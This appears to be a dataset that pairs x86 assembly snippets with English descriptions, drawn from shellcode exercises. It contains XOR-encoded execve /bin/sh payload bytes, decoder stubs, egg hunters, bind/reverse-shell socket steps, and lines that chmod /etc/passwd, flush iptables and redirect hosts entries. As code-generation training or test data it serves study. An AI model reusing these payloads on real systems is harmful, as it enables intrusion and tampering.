0x5d3, 0x5d3, 0x541, 0x5e7, 0x5d5, 0x5cf, 0x411, 0x4eb, 0x443, 0x509, 0x48d, 0x423, 0x539 encoded: define _encoded label encoded: db 0xaa,0x62,0xc0,0xaa,0xa0,0xaa,0xd0,0xaa,0x5e,0xaa,0x5e,0xaa,0xe6,0xaa,0xd0,0xaa,0xd0,0xaa,0x5e,0xaa,0xc4,0xaa,0xd2,0xaa,0xdc,0x89,0xe3,0xaa,0xa0,0x89,0xe2,0xaa,0xa6,0x89,0xe1,0xb0,0xaa,0x16,0xcd,0x80,0xbb encoded is the array of bytes 0xaa,0x62,0xc0,0xaa,0xa0,0xaa,0xd0,0xaa,0x5e,0xaa,0x5e,0xaa,0xe6,0xaa,0xd0,0xaa,0xd0,0xaa,0x5e,0xaa,0xc4,0xaa,0xd2,0xaa,0xdc,0x89,0xe3,0xaa,0xa0,0x89,0xe2,0xaa,0xa6,0x89,0xe1,0xb0,0xaa,0x16,0xcd,0x80,0xbb encoded: dw 0x04, 0x539, 0x9d9, 0x6c9, 0xfc9, 0xc49, 0xc29, 0x839, 0xdf9, 0xc49, 0xc49, 0x839, 0x839, 0xce9, 0xc59, 0x259, 0x4f9, 0xfc9, 0x259, 0x4e9, 0xff9, 0x259, 0x4d9, 0x1c9, 0xa79, 0x619, 0x2c9, 0x539 define encoded as array of words 0x04, 0x539, 0x9d9, 0x6c9, 0xfc9, 0xc49, 0xc29, 0x839, 0xdf9, 0xc49, 0xc49, 0x839, 0x839, 0xce9, 0xc59, 0x259, 0x4f9, 0xfc9, 0x259, 0x4e9, 0xff9, 0x259, 0x4d9, 0x1c9, 0xa79, 0x619, 0x2c9, 0x539 encodedshellcode: define encodedshellcode_label encodedshellcode: db \xeb\x1d\x5e\x8d\x7e\x01\x31\xc0\xb0\x01\x31\xdb\x8a\x1c\x06\x80\xf3\xaa\x75\x10\x8a\x5c\x06\x01\x88\x1f\x47\x04\x02\xeb\xed\xe8\xde\xff\xff\xff\x31\xaa\xc0\xaa\x50\xaa\x68\xaa\x2f\xaa\x2f\xaa\x73\xaa\x68\xaa\x68\xaa\x2f\xaa\x62\xaa\x69\xaa\x6e\xaa\x89\xaa\xe3\xaa\x50\xaa\x89\xaa\xe2\xaa\x53\xaa\x89\xaa\xe1\xaa\xb0\xaa\x0b\xaa\xcd\xaa\x80\xaa\xbb\xbb define the array of bytes encodedshellcode and initialize to \xeb\x1d\x5e\x8d\x7e\x01\x31\xc0\xb0\x01\x31\xdb\x8a\x1c\x06\x80\xf3\xaa\x75\x10\x8a\x5c\x06\x01\x88\x1f\x47\x04\x02\xeb\xed\xe8\xde\xff\xff\xff\x31\xaa\xc0\xaa\x50\xaa\x68\xaa\x2f\xaa\x2f\xaa\x73\xaa\x68\xaa\x68\xaa\x2f\xaa\x62\xaa\x69\xaa\x6e\xaa\x89\xaa\xe3\xaa\x50\xaa\x89\xaa\xe2\xaa\x53\xaa\x89\xaa\xe1\xaa\xb0\xaa\x0b\xaa\xcd\xaa\x80\xaa\xbb\xbb encodedshellcode: db 0x32,0x51,0x30,0x74,0x69,0x63,0x6f,0xe4,0x8a,0x54,0xe2,0x0c,0x81,0xc1,0x69,0x30,0x69,0x30,0x6a,0x8a,0x51,0xe3,0x8a,0xb1,0xce define the array of bytes encodedshellcode and initialize it to 0x32,0x51,0x30,0x74,0x69,0x63,0x6f,0xe4,0x8a,0x54,0xe2,0x0c,0x81,0xc1,0x69,0x30,0x69,0x30,0x6a,0x8a,0x51,0xe3,0x8a,0xb1,0xce encodedshellcode: db 0x32,0x51,0x30,0x74,0x69,0x63,0x6f,0xe4,0x8a,0x54,0xe2,0x0c,0x81,0xc1,0x69,0x30,0x69,0x30,0x6a,0x8a,0x51,0xe3,0x8a,0xb1,0xce define the array of bytes encodedshellcode and initialize to 0x32,0x51,0x30,0x74,0x69,0x63,0x6f,0xe4,0x8a,0x54,0xe2,0x0c,0x81,0xc1,0x69,0x30,0x69,0x30,0x6a,0x8a,0x51,0xe3,0x8a,0xb1,0xce encodedshellcode: db 0x43,0xed,0x1d,0xf4,0x40,0xfb,0x6f,0x7a,0xa9,0xe,0xb6,0xe,0xbc,0xc9,0xe3,0x7a,0xaf,0x7a,0x78,0xe,0xc5,0xda,0x76,0x6a,0x17,0x1a,0x4e,0x68,0x38,0xc2,0x99,0xfb,0x35,0x68,0x84,0xd2,0xb3,0xcb,0x7c,0x68,0x78,0xe2,0x9a,0xf5,0xe9,0x50,0xc0,0x24,0x91,0xf8,0xfe encodedshellcode is the array of bytes 0x43,0xed,0x1d,0xf4,0x40,0xfb,0x6f,0x7a,0xa9,0xe,0xb6,0xe,0xbc,0xc9,0xe3,0x7a,0xaf,0x7a,0x78,0xe,0xc5,0xda,0x76,0x6a,0x17,0x1a,0x4e,0x68,0x38,0xc2,0x99,0xfb,0x35,0x68,0x84,0xd2,0xb3,0xcb,0x7c,0x68,0x78,0xe2,0x9a,0xf5,0xe9,0x50,0xc0,0x24,0x91,0xf8,0xfe encodedshellcode: db 0x4c,0xbd,0x2d,0x15,0x52,0x52,0x0e,0x15,0x15,0x52,0x1f,0x14,0x13,0xf4,0x9e,0x2d,0xf4,0x9f,0x2e,0xf4,0x9c,0xcd,0x76,0xb0,0xfd declare _encodedshellcode label and the encoded shellcode: 0x4c,0xbd,0x2d,0x15,0x52,0x52,0x0e,0x15,0x15,0x52,0x1f,0x14,0x13,0xf4,0x9e,0x2d,0xf4,0x9f,0x2e,0xf4,0x9c,0xcd,0x76,0xb0,0xfd encodedshellcode: db 0x4e,0xc1,0x51,0x2f,0x58,0x3c,0xdb,0xac,0xef,0x82,0xef,0x1c,0x2a,0xd9,0xdb,0x90,0xdb,0x6b,0xef,0x61,0x3b,0x1c,0xcb,0x24,0xfb,0xd6,0xc5,0x50,0x23,0xfa,0x58,0x9c,0xc5,0xb1,0x33,0x97,0x28,0x31,0xc5,0xaa,0x43,0xf9,0x56,0xf4,0xad,0xc2,0x02,0x16,0x55,0xe3 define _encodedshellcode label declare db 0x4e,0xc1,0x51,0x2f,0x58,0x3c,0xdb,0xac,0xef,0x82,0xef,0x1c,0x2a,0xd9,0xdb,0x90,0xdb,0x6b,0xef,0x61,0x3b,0x1c,0xcb,0x24,0xfb,0xd6,0xc5,0x50,0x23,0xfa,0x58,0x9c,0xc5,0xb1,0x33,0x97,0x28,0x31,0xc5,0xaa,0x43,0xf9,0x56,0xf4,0xad,0xc2,0x02,0x16,0x55,0xe3 encodedshellcode: db 0x4e,0xc1,0x51,0x2f,0x58,0x3c,0xdb,0xac,0xef,0x82,0xef,0x1c,0x2a,0xd9,0xdb,0x90,0xdb,0x6b,0xef,0x61,0x3b,0x1c,0xcb,0x24,0xfb,0xd6,0xc5,0x50,0x23,0xfa,0x58,0x9c,0xc5,0xb1,0x33,0x97,0x28,0x31,0xc5,0xaa,0x43,0xf9,0x56,0xf4,0xad,0xc2,0x02,0x16,0x55,0xe3 define the array of bytes encodedshellcode and initialize it to 0x4e,0xc1,0x51,0x2f,0x58,0x3c,0xdb,0xac,0xef,0x82,0xef,0x1c,0x2a,0xd9,0xdb,0x90,0xdb,0x6b,0xef,0x61,0x3b,0x1c,0xcb,0x24,0xfb,0xd6,0xc5,0x50,0x23,0xfa,0x58,0x9c,0xc5,0xb1,0x33,0x97,0x28,0x31,0xc5,0xaa,0x43,0xf9,0x56,0xf4,0xad,0xc2,0x02,0x16,0x55,0xe3 encodedshellcode: db 0xd6,0x47,0xb7,0x9f,0xd8,0xd8,0x94,0x9f,0x9f,0xd8,0xa5,0x9e,0x99,0x7e,0x24,0xb7,0x7e,0x25,0xb4,0x7e,0x26,0x57,0xfc,0x3a,0x87 define the array of bytes encodedshellcode and initialize it to 0xd6,0x47,0xb7,0x9f,0xd8,0xd8,0x94,0x9f,0x9f,0xd8,0xa5,0x9e,0x99,0x7e,0x24,0xb7,0x7e,0x25,0xb4,0x7e,0x26,0x57,0xfc,0x3a,0x87 encodedshellcode: db 0xeb,0x0c,0x5e,0x31,0xc9,0xb1,0x19,0xf6,0x16,0x46,0xe2,0xfb,0xeb,0x05,0xe8,0xef,0xff,0xff,0xff,0xce,0x3f,0xaf,0x97,0xd0,0xd0,0x8c,0x97,0x97,0xd0,0x9d,0x96,0x91,0x76,0x1c,0xaf,0x76,0x1d,0xac,0x76,0x1e,0x4f,0xf4,0x32,0x7f define the array of bytes encodedshellcode and initialize it to 0xeb,0x0c,0x5e,0x31,0xc9,0xb1,0x19,0xf6,0x16,0x46,0xe2,0xfb,0xeb,0x05,0xe8,0xef,0xff,0xff,0xff,0xce,0x3f,0xaf,0x97,0xd0,0xd0,0x8c,0x97,0x97,0xd0,0x9d,0x96,0x91,0x76,0x1c,0xaf,0x76,0x1d,0xac,0x76,0x1e,0x4f,0xf4,0x32,0x7f encoder_shellcode: db 0x08,0x60,0x58,0xc8,0x39,0xb0,0xd8,0xc3,0x9f,0x9f,0xd1,0xb8,0xb3,0xfe,0xb9,0x1e,0x4e,0xfd,0x97,0x70,0x39,0xb0,0x6a,0xdb,0xb0,0xc4,0x09,0xcf,0x74,0x25,0x76,0xe6,0xe6,0xe6,0xf6,0x90,0x90,0xaa,0xaa encoder_shellcode is the array of bytes 0x08,0x60,0x58,0xc8,0x39,0xb0,0xd8,0xc3,0x9f,0x9f,0xd1,0xb8,0xb3,0xfe,0xb9,0x1e,0x4e,0xfd,0x97,0x70,0x39,0xb0,0x6a,0xdb,0xb0,0xc4,0x09,0xcf,0x74,0x25,0x76,0xe6,0xe6,0xe6,0xf6,0x90,0x90,0xaa,0xaa encrypt: define _encrypt label encrypt: declare the encrypt label end: define _end label end: declare the end label entrypoint: define _entrypoint label entrypoint: declare the entrypoint label even_number: define even_number label even_number: define even_number even_number: define even_number function execfile: declare _execfile label execfile: define execfile function execfile: declare the execfile label execute_shellcode: \n jmp short esp in execute_shellcode jump short to esp execute: define _execute label execute: declare the execute label exit_call equ 1 define exit_call =1 exit_call equ 1 define exit_call equal to 1 exit_on_error: define exit_on_error label exit_on_error: declare the exit_on_error label exit: define exit_label exit: define _exit label exit: define exit function exit: define the exit label exit: declare the exit label F1: \n call function_1 define F1 and call the function function_1 F1: \n cmp byte [esi], 0x1 \n jl L1 \n sub byte [esi], 0x1 \n jmp L2 in the function F1 jump to label L1 if the current byte of the shellcode is lower than 0x1 else subtract 0x1 from the byte of the shellcode and jump to L2 F1: \n inc esi in the function F1 point to the next byte in esi F1: \n inc esi \n inc esi in the function F1 point to the next word in esi F1: \n jmp short L1 define F1 function and jump short to L1 F1: \n not cl \n inc cl in the function F1 negate cl and increment cl to the next byte F1: \n not cl \n inc cl define F1, negate cl and increment cl to the next byte F1: \n not cl \n inc cl define F1, negate cl and point to the next byte in the cl register F1: \n pop esi define the function F1 and store the encoded shellcode pointer in the esi register F1: \n pop esi declare the function F1 and save in esi the pointer to the shellcode F1: \n pop esi declare the function F1 and point the shellcode in esi F1: inc edi \n jmp short L1 in the function F1 point to the next byte of the edi and jump short to L1 F2: \n call function_1 define F2 and call the function function_2 F2: \n cmp byte [esi], 0x2 \n jg L1 \n add byte [esi], 0x2 \n jmp L2 in the function F2 jump to label L1 if the current byte of the shellcode is greater than 0x2 else add 0x2 to the byte of the shellcode and jump to L2 F2: \n inc esi declare F2 and point to the next byte in esi F2: \n inc esi \n inc esi declare F2 and point to the next word in esi F2: \n jmp L3 define F2 function and jump to L3 F2: \n not bl \n inc bl in the function F2 negate bl and move bl to the next byte F2: \n not bl \n inc bl declare F2, negate bl and move bl to the next byte F2: \n not bl \n inc bl declare F2, negate bl and point to the next byte in bl F2: inc eax \n jmp L1 in F2 point to the next byte of the eax register and jump to label L2 F3: \n call function_1 define F3 and call the function function_3 F3: \n cmp byte [esi], 0x3 \n je L1 \n mov byte [esi], 0x3 \n jmp L2 in the routine F3 jump to label L1 if the current byte of the shellcode is equal to 0x3 else move 0x3 into the byte in esi and jump to L2 F3: \n inc edi declare F3 function and point to the next byte in edi F3: \n inc edi \n edi declare F3 function and point to the next word in edi F3: \n jmp L5 define F3 and jump to L5 F3: \n not al \n inc al in the function F3 negate al and move al to the next byte F3: \n not al \n inc al define the function F3, negate al and move al to the next byte F3: \n not al \n inc al define the function F3, negate al and point to the next byte in al F3: inc ebx \n jmp short L2 define the function F3, move to the next byte of ebx and jump short to L2 F4: \n call function_1 define F4 and call the function function_4 F4: \n cmp byte [esi], 0x1 \n jl L1 \n sub byte [esi], 0x1 \n jmp L2 in the function F4 jump to label L1 if the byte specified by the address in esi is lower than 0x1 else subtract 0x1 from the byte at the address in esi and jump to L2 F4: \n jmp short L5 declare F4 and jump short to F5 F4: \n not dl \n inc dl in the function F4 negate dl and point to the next byte in the dl register F4: \n not dl \n inc dl declare the function F4, negate dl and move dl to the next byte F4: inc ecx \n jmp L2 declare F4, move to the next byte in ecx and jump to L2 F5: \n call function_1 define F5 and call the function function_5 F5: \n cmp byte [esi], 0x2 \n jg L1 \n add byte [esi], 0x2 \n jmp L2 in the function F5 jump to label L1 if the byte at the address in esi is greater than 0x2 else add 0x2 to the byte at the address in esi and jump to L2 F5: \n jmp L1 declare F5 and jump to L1 F5: inc edx \n jmp short L3 define the function F5, increment edx and jump short to L3 F6: \n cmp byte [esi], 0x3 \n je L1 \n mov byte [esi], 0x3 \n jmp L2 in the routine F6 jump to label L1 if the byte at the address specified by esi is equal to 0x3 else move 0x3 into the byte in esi and jump to L2 file: db '/sbin/iptables#-f' define file as the byte string '/sbin/iptables#-f' fileaddress: define _fileaddress label fileaddress: declare the fileaddress label filecontents: resb 128 reserve filecontents variable of 128 bytes filename: db 'readme.txt', 0h create a string filename and initialize to 'readme.txt' filename: resb 255 reserve a variable filename of 255 bytes filestoread: define filestoread_label fill: declare the fill label fill: define fill label find_address: define find_address label find_egg: define find_egg label find_egg: declare the find_egg label find_egg: define find_egg function fldpi push pi onto the fpu stack fldz \n fstenv [esp-0xc] \n pop edi obtain the address of the first instruction of the shellcode format: define format label format: define format routine format: declare the format label formatting: define formatting label formatting: formatting label formatting: declare the formatting label four: define _four label four: declare the four label fstenv [esp-0xc] \n pop esi obtain the address of the first instruction of the shellcode alias the entry mem addr of this code (_start) and then pop it in esi function_1: \n call [esp] define function_1 and execute it function_2: \n call [esp] declare function_2 and execute it function_3: \n call [esp] declare function_3 and call it function_4: \n call [esp] define function_4 and call it function_5: \n call [esp] define function_5 and execute it fupdisasm: define fupdisasm function fupdisasm: define fupdisasm label fwait put cpu into a wait state until the coprocessor signals it has finished itÕs operation get_key: define _get_key label get_shellcode_addr: get_shellcode_addr function get: declare get_label get: declare the get label global _shell declare _shell as global label global _start declare global start global _start define global _start global _start declare global _start, section .text, _start label global _start declare of the global _start global _start global _start global _start define the program entry point global _start declare _start as global label global _start declare global _start global _start \n _start: declare global start and _start label global _start \n _start: declare global _start and _start label global _start \n _start: declare global _start, section .text, _start label global _start \n section .text \n _start: declare global start, section .text and _start label global _start \n section .text \n _start: declare global start, text section and _start label global _start \n section .text \n _start: declare global _start, setion .text, _start global _start \n section .text \n _start: declare global _start, section .text, _start label global _start \n section .text \n _start: declare global _start, section .text and_start label global _start \n section .text \n \n _start: declare global _start, section .text, _start label global _start \n section .text \n egg_sig equ 0x4f904790 \n _start: declare global _start, section .text, egg_sign = 0x4f904790 and_start label global _start \n section .text \n sys_execve equ 0x0b \n _start: declare global _start, section .text, sys_execve = 0x0b and_start label global _start: declare the global _start label global _start: global _start google db '127.1.1.1 google.com' define google as the byte string '127.1.1.1 google.com' google: db '127.1.1.1 google.com' define the byte string google and initialize it to '127.1.1.1 google.com' gotocall: define _gotocall label gotocall: declare the gotocall label hello: db 'hello world!',10 create a string 'hello world!' plus a linefeed character hellolen: equ $-hello define hellolen equal to the length of the hello string here: declare the here label here: define here label hlt halt cpu until reset line is activated in al,0x10 read the hexadecimal value 0x10 and place it in al register inc [count] increment the count variable inc al increment the contents of the al register inc al \n inc al increment al register of 2 inc ax add 1 to ax inc ax increment ax inc ax increment the contents of the ax register inc bl increment bl by 1 inc bl increment bl register by 1 inc bl increment the contents of the bl register inc bl \n inc bl increase bl by 2 so ebx=2 inc bx increment bx inc bx increment the contents of the bx register inc byte [esp+ecx] increment the byte at the address [esp+ecx] by one inc cl increase cl of 1 inc cl increase cl by 1 so ecx = 1 inc cl increment the contents of the cl register inc cl \n cmp cx \n jle dupcount increase cl of 1 until the contents of cx is less than or equal to 2 with sign inc count increment the memory variable count inc cx increment cx by 1 inc dl save 0x0a into dl to have bad line feed char inc dl increment dl inc dl increment dl register inc dl increment the contents of the dl register inc dword [tmp] add one to the doubleword integer stored at memory location tmp inc dword [value] add one to the doubleword integer stored at memory location value inc dword [var] add one to the doubleword integer stored at location var inc dx increment the contents of the dx register inc dx increment dx by one inc eax increase eax by 1 inc eax increment eax by 1 inc eax incement eax register by 1 inc eax increase eax content by 1 inc eax increment eax content by 1 inc eax increment eax inc eax increment the address in eax by one byte inc eax point to the next byte in eax inc eax point to the next byte in the eax register inc eax increment the contents of the eax register inc eax \n cmp dword [eax], ebx \n jne next_addr \n jmp eax go to next memory address increasing eax, then check if the egg is at that memory address. if yes set zf = 1 and go to eax. else zf = 0 and go to next_addr label inc eax \n inc eax point to the next word in the eax register inc eax \n inc eax move to the next word in eax inc eax \n inc eax \n inc eax \n inc eax point to the next double word in eax inc eax \n inc eax \n inc eax \n inc eax move to the next double word in the eax register inc eax \n inc esi \n inc edi increment eax, esi and edi by 1 inc eax \n int 0x80 load __nr_exit into eax register and call kernel inc eax \n int 0x80 execute exit syscall inc eax \n int 0x80 execute waitpid syscall inc ebx increment ebx by 1 inc ebx increment ebx content by 1 inc ebx define sys_socket 1 inc ebx increment ebx content defining sys_socket =1 inc ebx define sys_socket by increasing ebx by 1 inc ebx increment ebx content defining sys_bind = 2 inc ebx increment ebx content deining the argument sys_acccept = 5 inc ebx increment ebx content then push it on stack inc ebx increment ebx by 1. ebx = sys_socket = 1. inc ebx increment ebx content inc ebx inc-rement ebx by 1 inc ebx ebx(5) = sys_accept = accept() inc ebx set connect = 3 inc ebx add 1 to ebx inc ebx fix egg signature in ebx adding 1 inc ebx load bind =2 into ebx register inc ebx increment ebx register inc ebx increment the contents of the ebx register inc ebx increment ebx inc ebx point to the next byte in the ebx register inc ebx \n inc ebx increment ebx content two times inc ebx \n inc ebx increment ebx two times defining sys_listen = 4 inc ebx \n inc ebx point to the next word in the ebx register inc ebx \n inc ebx move to the next word in the ebx register inc ebx \n inc ebx \n inc ebx \n inc ebx point to the next double word in ebx inc ebx \n inc ebx \n inc ebx \n inc ebx move to the next double word in the ebx register inc ebx \n push bx increment ebx content and push it on stack inc ebx \n push ebx increment ebx content and puh it on the stack inc ebx \n push ebx increment ebx content then push it on stack inc ebx \n push ebx push 1 on stack inc ecx go to next address inc ecx increment ecx inc ecx increment ecx content by 1 inc ecx increment ecx to 1 inc ecx increment ecx by 1 inc ecx increment ecx content inc ecx point to the next position in ecx inc ecx point to the next byte in ecx inc ecx next instruction in the ecx register inc ecx increment the contents of the ecx register inc ecx \n inc ecx point to the next word in the ecx inc ecx \n inc ecx move to the next word in the ecx inc ecx \n inc ecx \n inc ecx \n inc ecx point to the next double word in ecx inc ecx \n inc ecx \n inc ecx \n inc ecx move to the next double word in the ecx register inc edi increments edi by 1 inc edi increment edi register by 1 inc edi increment edi content inc edi increment edi register inc edi inrement edi register inc edi increment the contents of the edi register inc edi point to the next byte in edi inc edi increment edi inc edi \n add al,0x2 increment edi register inc edi \n inc cl increase edi and cl contents of 1 inc edx increment edx register by 1 inc edx increment edx register inc edx increment edx register by1 inc edx increment edx inc edx point to the next byte in edx inc edx point to the next byte in the edx register inc edx increment the contents of the edx register inc edx \n inc edx next word in the edx inc edx \n inc edx \n inc edx \n inc edx point to the next double word in edx inc edx \n inc edx \n inc edx \n inc edx move to the next double word in the edx register inc edx \n inc edx \n inc edx \n inc edx \n inc edx \n inc edx \n inc edx \n inc edx increment edx by 1 for 8 times inc edx \n push edx push sock_stream = 1 inc edx \n push edx push af_inet = 2 inc edx \n push edx increment edx and push sock_stream = 1 on stack inc edx \n push edx increment edx and push af_inet = 2 on stack inc esi increase esi of 1 inc esi increment esi content inc esi incremenet esi content inc esi increment the offset (esi content) inc esi esi point to next istruction in the encoded shellcode inc esi move to the next byte increasing esi by 1 inc esi increment esi inc esi point to the next byte in esi inc esi next byte in the encoded shellcode inc esi point to the next byte of the shellcode inc esi move to next byte in esi inc esi point to the next byte of the encoded shellcode inc esi increment to the next byte of the shellcode inc esi increment the contents of the esi register inc esi \n inc edi increment esi and edi register inc esi \n inc esi increment esi content two times inc esi \n inc esi point to the next encoded_shellcode word inc esi \n inc esi point to the next word in esi inc esi \n inc esi point to the next word of the encoded shellcode inc esi \n inc esi point to the next word of the shellcode inc esi \n inc esi next word of the shellcode inc esi \n inc esi move to the next word of the encoded shellcode inc esi \n inc esi move to the next word of the shellcode inc esi \n inc esi \n inc edi increment esi two times and edi once inc esi \n inc esi \n inc esi increment esi three times inc esi \n jmp L1 point to the next byte of the shellcode and jump to label L2 inc esi \n jmp L2 move to the next byte in the shellcode and jump to L2 inc esi \n jmp short decode point to the next byte of the shellcode and jump short to decode inc esi \n jmp short L1 point to the next byte of the shellcode and jump short to L1 inc esi \n jmp short L2 move to the next byte in the shellcode and jump short to L2 inc esp increment esp content inc esp increment the contents of the esp register inc_dec: define inc_dec label inc_dec: declare inc_dec function inc_dec: define inc_dec incaddr: declare _incaddr label incaddr: declare the incaddr label incpage: declare _incpage label incpage: declare incpage function infinite: define _infinite label init: declare _init label init: declare the init label insertion_decoder: define insertion_decoder label int 0x80 call kernel int 0x80 call sigaction() to check memory location [ecx] int 0x80 execute execve syscall int 0x80 execute exit syscall int 0x80 executing the reboot syscall int 0x80 send an interrupt software int 0x80 execute int 0x80 call socket() int 0x80 call kernel / run connect syscall int 0x80 execute the function chmod 777 /etc/passwd int 0x80 call chmod syscall int 0x80 call kernl int 0x80 syscall execute int 0x80 make syscall int 0x80 executing syscall int 0x80 call kerel int 0x80 calling interrupt for sys call int 0x80 exec sys_dup2 int 0x80 ping kernel int 0x80 cal kernel int 0x80 ccall kernel int 0x80 execute execve int 0x80 execute chmod int 0x80 execute exit int 0x80 execute open int 0x80 c all kernel int 0x80 call kerenl int 0x80 init int 0x80 call socketcall() int 0x80 socket() int 0x80 execute the syscall socketcall int 0x80 execute the syscall int 0x80 execute the dup2 syscall int 0x80 xecute the dup2 syscall int 0x80 execute the system call int 0x80 syscall execve int 0x80 call socketcall int 0x80 execute the reboot syscall int 0x80 make the system call int 0x80 system call interrupt int 0x80 system call interrupt 0x80 int 0x80 execute execve with system call interrupt int 0x80 make the kernel call int 0x80 make the system call to the kernel int 3 set a breakpoint int 80h call kernel int 80h call kernel (exit(0)) int 80h call sys_read int 80h call sys_read to fill the buffer int 80h call sys_write int 80h call the kernel int 80h make kernel call to display line string int 80h make kernel call to exit program int 80h make sys_exit kernel call int 80h make sys_write kernel call int 80h make syscall to output the text to stdout int 80h make syscall to terminate the program int 80h make the syscall to terminate the program int 80h make the system calls to the kernel into if the overflow flag is set, genete an int 4 ja exi jump to exi if greater ja exit jump to the exit label if the destination operand is greater than the source operand in the above comparison ja next jump to next label if the destination is greater than the source in the above comparison ja write jump to write if greater jae _start-0x24 jump at the adress _start-0x24 if the carry flag is clear jb _end+0x1d if the carry flag or the zero flag are set set go to the adress at _end+0x1d jb 0xf3 perform an unsigned comparison and jump to 0xf3 if lower jb modtest jump to label modtest if below jb next jump to label next if below jb write jump to label write if below jbe __bss_start+0x12 if the carry flag or the zero flag are set go to __bss_start+0x12 jbe __bss_start+0x16 if the carry flag or the zero flag are set go to __bss_start+0x16 jbe __bss_start+0x1a if the carry flag or the zero flag are set go to __bss_start+0x1a jbe done jump to label done if below or equal je all jump to the all label if the operands of the above comparison are equals je connec jump to connect if equal je connect jump to the connect label if the operands of the above comparison are equals je continue if equal jump to label continue je continue jump to label continue if equal je done jump to label done if equal je even_number define odd_number label je even_number jump to even_numer if greater je exit jump to label exit if equal to 0 je exit jump to the exit label if the operands of the above comparison are equals je l7 if equal then jump to label l7 je short encodedshellcode jump short to encodedshellcode if equal je short loc_402b13 jump to loc_402b13 if equal je stop jump to label stop if equal jeq loop jump to the code location labeled loop if the operands of the previous comparison are equal jg encoded+0x18 if the zero flag is clear or the sign flag equals the overflow flag go to the adress at encoded+0x18 jg finished jump if greater than to label finished jge encoded+0x20 if the sign flag equals the overflow flag go to encoded+0x20 label jl _while_loop jump to the _while_loop if lower jl _while_loop jump to the _while_loop label if the destination operand is less than the source operand in the above comparison jl finished jump if less than to label finished jl wrap_around jump to the wrap_around label if the destination operand is less than the source operand in the above comparison jle lp1 if it is less than or equal to 10 then jump to lp1 jmp _accept jump to label _accept jmp _read jump to _read jmp _return jump to the _return label jmp _star jump to _star jmp _start jump to the _start label jmp _while_loop jump to the _while_loop label jmp aslr_file go to aslr_file label jmp aslr_file jump to the aslr_file label jmp begin jump to the instruction labeled begin jmp call_decoder perform un unconditional jumo to call_decoder label jmp call_decoder perform an unconditional jump to call_decoder jmp call_decoder perform an unconditional jump to _call_decoder label jmp call_egghunter go to call_egghunter label jmp call_egghunter jump to the call_egghunter label jmp call_shellcode perform an unconditional jump to _call_shellcode label jmp callpop go to _callpop label jmp callpop jump to callpop jmp callpop jump to the callpop label jmp callz jump to the callz label jmp carryon jump to the carryon label jmp connec jump to connec jmp connect go to _connect label jmp data jump to the data label jmp decode go to _decode label jmp decode jump to decode jmp eax jump to eax content jmp eax jump to eax jmp eax jump to the value stored in the eax register jmp ecx jump to ecx jmp edi jump to edi (our shellcode) if both eggs are found jmp edi jump to shellcode jmp edi go to edi jmp edi jump to edi jmp edi jump to the edi label jmp edx perfrom an unconditional jump to edx jmp edx jump to edx jmp encodedshellcode perform an unconditional jump to encodedshellcode_label jmp encrypt go to _encrypt label jmp encrypt jump to the encrypt label jmp entrypoint jump to _ entrypoint jmp entrypoint jump to the entrypoint label jmp esp go to esp address jmp esp jump to the esp label jmp find_address perform an unconditional jumo to _find_address label jmp fupdisasm+1 jump to fupdisasm+1 jmp fupdisasm+1 jump to the address specified by the operation fupdisasm+1 jmp fupdisasm+3 jump to the address specified by the operation fupdisasm+3 jmp get_key jumo to get_key label jmp insertion_decoder perform an unconditional jumo to insertion_decoder label jmp jocker go to _jocker label jmp jocker jump to the jocker label jmp l20 jump to label l20 jmp loop jump to the label loop jmp multiplyloop jump to label multiplyloop jmp nextarg jump to nextarg label jmp nextchar jump to the point in the code labeled nextchar jmp one jump to the one label jmp read perform an unconditional jump to _read label jmp read jump to the read label jmp read jump to the label read jmp read jump to label read jmp read_file perform an unconditional jump to read_file_label jmp reading go to _reading label jmp reading jump to the reading label jmp shell go to _shell label jmp shell jump to the shell label jmp shellcode perform an unconditional jumo to _shellcode label jmp shellcode jump to shellcode jmp shellcode jump to the shellcode label jmp short _cmd perform a short unconditional jump to _cmd label jmp short _cmd perform a short jmp to _cmd label jmp short _cmd jump short to the _cmd label jmp short _execline perform a short and unconditional jumo to _execline label jmp short _execline jump short to the _execline label jmp short _file perform a short unconditional jump to _file label jmp short _file perform a short unconditional jmp to _file label jmp short _file jump short to the _file label jmp short _load_data perform a short unconditional jumo to _load_data label jmp short _load_data jump short to the _load_data label jmp short _load_data jump short to _load_data label jmp short _star jump short to _star label jmp short _start jump short to the _start label jmp short .exit jump short to the .exit label jmp short 0x11 jump short to 0x11 jmp short 0x2c jump short to 0x2c jmp short 0x34 jump short to 0x34 jmp short 0x63 jump short to 0x63 jmp short call_decoder perform an unconditional short jump to _call_decoder label jmp short call_decoder perform a short unconditional jump to call_decoder_label jmp short call_decoder perform a short unconditional jump to call_decoder label jmp short call_decoder perform a short unconditonal jump to call_decoder jmp short call_decoder jump short to the call_decoder label jmp short call_decoder jump short to call_decoder jmp short call_decoder jump short to the function call_decoder jmp short call_shellcode perform an unconditional short jump to _call_shellcode label jmp short call_shellcode perform an unconditional short jump to call_shellcode_label jmp short call_shellcode perfrom a short unconditional jump to call_sh-ellcode label jmp short call_shellcode perform a short unconditional jump to call_shellcode label jmp short call_shellcode jump short to the function call_shellcode jmp short call_shellcode go to call_shellcode jmp short call_shellcode jump short to call_shellcode jmp short call_shellcode jump short to the call_shellcode label jmp short call_write perform an unconditional jump to _call_write label jmp short call_write jump short to the call_write label jmp short callit jump short to the callit label jmp short callme jump short to the callme label jmp short cmd perform an unconditional short jump to _cmd label jmp short cmd jump short to the cmd label jmp short cycle jump short to cycle jmp short cycle jump short to the cycle label jmp short cycle jump short to cycle label jmp short decode perform an unconditional short jump to _decode label jmp short decode perform a short jump to _decode label and repeat the decoding process for the next word! jmp short decode jump short to the label decode jmp short decode jump short to decode jmp short decode jump back to start of decode jmp short decode jump short to the function decode jmp short decode jump short to the decode label jmp short decode_pr goto the decode_pr to decode the next bytes jmp short decode_pr jump short to the decode_pr label jmp short enc perform a short jumo to enc_label jmp short enc jump short to the enc label jmp short encodedshellcode perform an unconditional short jump to _encodedshellcode label jmp short end perform a short unconditional jump to _end label jmp short end jump short to the end label jmp short exi jump short to exi label jmp short fileaddress perform a short unconditional jumo to fileaddress jmp short fileaddress jump short to the fileaddress label jmp short formatting jump short to the formatting label jmp short four perform a short unconditional jump to _four label jmp short four jump short to the four label jmp short get perform a short unconditional jump to get_label jmp short get jump short to the get label jmp short get_shellcode_addr jump short to get_shellcode_addr jmp short gotocall perform a short unconditional jumo to _gotocall label jmp short gotocall jump short to the gotocall label jmp short here jump short to the here label jmp short inc_dec perform a short unconditional jump to inc_dec label jmp short inc_dec jump short to inc_dec jmp short inc_dec jump short to the routine inc_dec jmp short main perform a short jump to main_label jmp short main jump short to the main label jmp short main 